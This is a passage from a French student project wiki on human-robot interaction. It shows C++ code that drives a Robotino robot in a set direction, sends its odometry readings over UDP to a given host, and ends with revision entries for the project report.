mouvement[1]=0.2f;
}
else if (dir == 4)
{
mouvement[0]=0.0f;
mouvement[1]=-0.2f;
}

while( com.isConnected() && false == bumper.value() && _run && t<3000)
{
omniDrive.setVelocity( mouvement[0], mouvement[1], 0 ); <span style="color:Blue;">//set direction</span>
com.processEvents();

odometry.readings (&x,&y,&phi,seq);
<span style="color:Blue;">//send data with sep between each packet</span>
messageUDP(hote,service,(float)x,sizeof(x));
messageUDP(hote,service,(float)y,sizeof(y));
messageUDP(hote,service,(float)phi,sizeof(phi));
messageUDP(hote,service,(float)sep,sizeof(sep));
odometry.set(0,0,0,false);
t=com.msecsElapsed()-t0; <span style="color:Blue;">//compute time to move while t < 3 seconds</span>
}
}

void destroy()
{
com.disconnectFromServer();
}

int main( int argc, char **argv )
{
std::string hostname = "172.26.1.1";
if( argc > 1 )
{
hostname = argv[1];
}

struct sigaction act;
memset( &act, 0, sizeof( act ) );
act.sa_handler = sigint_handler;
sigaction( SIGINT, &act, NULL );
char *hote = argv[2];

try
{
init(hostname);
while( com.isConnected() && false == bumper.value() && _run)
move(hote);
destroy();
}
catch( const rec::robotino::api2::RobotinoException& e )
{
std::cerr << "Com Error: " << e.what() << std::endl;
}
catch( const std::exception& e )
{
std::cerr << "Error: " << e.what() << std::endl;
}
catch( ... )
{
std::cerr << "Unknow Error" << std::endl;
}

rec::robotino::api2::shutdown();

}

== Fichiers Rendus ==

[[media:Rapport_ProjetHumanRobot.pdf‎]]

Fichier:Rapport ProjetHumanRobot.pdf

2015-05-11T15:34:15Z

Froyer1 : Rapport de projet IMA4

Rapport de projet IMA4

Interaction Homme Robot

2015-05-11T15:05:35Z

Froyer1 : /* Semaine 13 et 14 */